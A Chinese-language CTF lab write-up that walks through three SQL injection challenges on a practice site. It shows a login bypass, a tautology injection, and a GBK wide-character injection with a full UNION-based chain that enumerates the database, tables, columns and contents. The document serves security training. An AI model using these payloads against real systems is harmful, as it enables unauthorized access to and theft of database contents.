网安实验室CTF 注入篇

1.最简单的SQL注入
地址：http://lab1.xseclab.com/sqli2_3265b4852c13383560327d1c31550b60/index.php

用户名输入 admin’ or ‘1’=’1 实现绕过。

2.最简单的SQL注入(熟悉注入环境)
地址：http://lab1.xseclab.com/sqli3_6590b07a0a39c8c27932b92b0e151456/index.php

页面没有输入框，查看源码，发现tips：id=1
说明 url？id=1处存在注入点。添加‘ 报错，于是考虑构造
?id=1 or 1=1永真语句
成功注入拿到flag

3.防注入
地址http://lab1.xseclab.com/sqli4_9b5a929e00e122784e44eddf2b6aa1a0/index.php
同样的发现id=1处存在注入点。这里同样考虑构造or 1=1
发现无法注入。
抓包查看响应头，发现是gb2313编码。考虑可能是宽字节注入（这里是看了别人的博客）

输入%df%27 报错。
%df%27%20and%201=1%23 返回正常。
%df%27 order by 3%23 返回正常 即字段长度为3
%df%27%20union%20select%201,2,3%23 返回2，3
%df%27%20union%20select%201,2,database()%23
爆出：
2
数据库名：mydbs

%df%27 and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata%23
爆出：
information_schema,mydbs,test
3
mydbs 转换成十六进制为0x6D79646273

%df%27 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x6D79646273%23
爆出：
2
sae_user_sqli4

sae_user_sqli4转换成十六进制为0x7361655F757365725F73716C6934

%df%27 and 1=2 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=0x7361655F757365725F73716C6934%23
爆出：
id,title_1,content_1
3
猜测flag值在content_1内

%df%27 and 1=2 union select 1,group_concat(content_1,0x3b),3 from sae_user_sqli4%23
爆出：
my blog test;,easy ;,flag值手动打码= =;,flag is here！;
3